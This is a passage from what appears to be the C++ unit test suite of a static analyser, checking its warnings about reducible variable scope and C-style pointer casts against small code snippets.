}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public 